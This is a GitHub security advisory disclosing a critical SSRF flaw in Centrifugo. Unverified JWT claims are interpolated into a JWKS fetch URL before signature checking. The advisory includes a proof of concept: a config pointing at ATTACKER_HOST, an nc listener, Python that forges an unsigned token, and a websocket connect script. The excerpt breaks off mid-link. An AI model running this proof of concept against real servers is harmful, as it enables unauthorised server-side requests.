GitHub Security Advisory: GHSA-j77h-rr39-c552
Package: github.com/centrifugal/centrifugo (GO)
Severity: CRITICAL (CVSS 9.3)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 2.4.0
Patched in: unpatched

Summary: Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL

Details:
### Summary
Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.

### Details
In `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:
1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`
2. Claims are decoded from the unverified token
3. `validateClaims()` runs — extracting named regex capture groups from 
   `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled 
   `iss`/`aud` claim values
4. `verifySignatureByJWK(token, tokenVars)` is called — passing attacker-controlled 
   `tokenVars` to the JWKS manager
5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly 
   into the JWKS URL:
   `jwkURL := m.url.ExecuteString(tokenVars)`
6. Centrifugo makes an HTTP GET request to the attacker-controlled URL

Suppressed the security linter on this line with an incorrect comment:
`//nolint:gosec // URL is from server configuration, not user input.`
The URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.

Signature verification happens too late — after the SSRF has already fired.

### PoC
**Required config** (`config.json`):
```json
{
  "client": {
    "token": {
      "jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
      "issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
    }
  },
  "http_api": { "key": "test-api-key" }
}
```

**Step 1** — Start listener on attacker machine:
```
nc -lvnp 8888
```

**Step 2** — Generate malicious unsigned JWT:
```python
import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":[PII_REDACTED]}'
token   = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)
```

**Step 3** — Connect to Centrifugo WebSocket with the malicious token:
```python
import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())
```

**Step 4** — Observe incoming HTTP request on attacker listener:
```
GET /evil-tenant/.well-known/jwks.json HTTP/1.1
Host: ATTACKER_HOST:8888
User-Agent: Go-http-client/1.1
```

Malicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:
![1](https://github.com/user-attachments/assets/6fd5d5b8-f47a-4899-94db-931f52504808)

Centrifugo Server Log:
![2](ht